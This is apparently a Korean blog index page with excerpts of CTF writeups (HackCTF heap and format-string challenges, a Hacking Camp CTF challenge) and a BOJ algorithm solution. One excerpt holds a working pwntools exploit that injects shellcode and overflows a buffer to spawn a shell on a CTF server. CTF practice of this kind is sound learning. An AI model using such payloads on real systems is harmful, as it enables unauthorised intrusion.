본문 바로가기

전체 글263

(HackCTF) 훈폰정음 writeup TL;DR heap challenge, tcache tcache 가 있는 GLIBC 2.27 라이브러리를 사용하는문제다. add table 배열의 index 0~6 에 0x000 ~ 0x400 size 의 chunk 를 할당받아 저장해줄 수 있다. 이미 chunk 가 존재하면 안됨 size 는 size 배열에 저장된다. edit table[index] 에 chunk 가 있으면, size[index] 만큼 수정가능. delete int delete() { int result; // eax int v2; // [rsp+Ch] [rbp-4h] puts("인덱스를 입력하시오:"); result = smooth(); v2 = result; while ( v2 >= 0 && v2 2022. 2. 26.
(CTF) hacking camp CTF 24th writeup (미스크, 포렌식, 기타 쉬운문제 제외한 간단 writeup) invitation from pwn import * r=remote("ctf-hackingcamp.com",10319) context.arch='i386' b=ELF("./invitation") pay=b'x'*0x18 pr=0x0804836d pay+=p32(b.sym['CODE']) r.sendafter("code : ",asm(shellcraft.i386.linux.sh())) r.sendlineafter("password : ",pay) r.interactive() NX 가 꺼져잇어서 code 에 쉘코드넣고 해당위치로 리턴. shell execve 가 seccomp 걸려있었다. 도커파일있는줄 모르고 계속 getdents 로 읽어올려했는.. 2022. 2. 24.
(BOJ) 2447 풀이 #include using namespace std; char sqare[2188][2188]; void make(int n,int x,int y){ if(n==1){ sqare[x][y]='*'; return; } for(int i=0;i N; for(int i=0;i 2022. 2. 24.
(HackCTF) Adult_FSB writeup int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int i; // [rsp+Ch] [rbp-144h] char buf[312]; // [rsp+10h] [rbp-140h] BYREF unsigned __int64 v5; // [rsp+148h] [rbp-8h] v5 = __readfsqword(0x28u); Init(); for ( i = 0; i next; if (*listp != NULL) /* Don't free the last element in the chain, this is the statically allocate element. */ free (cur); ~~~ 대충 *listp→next 가 nul.. 2022. 2. 24.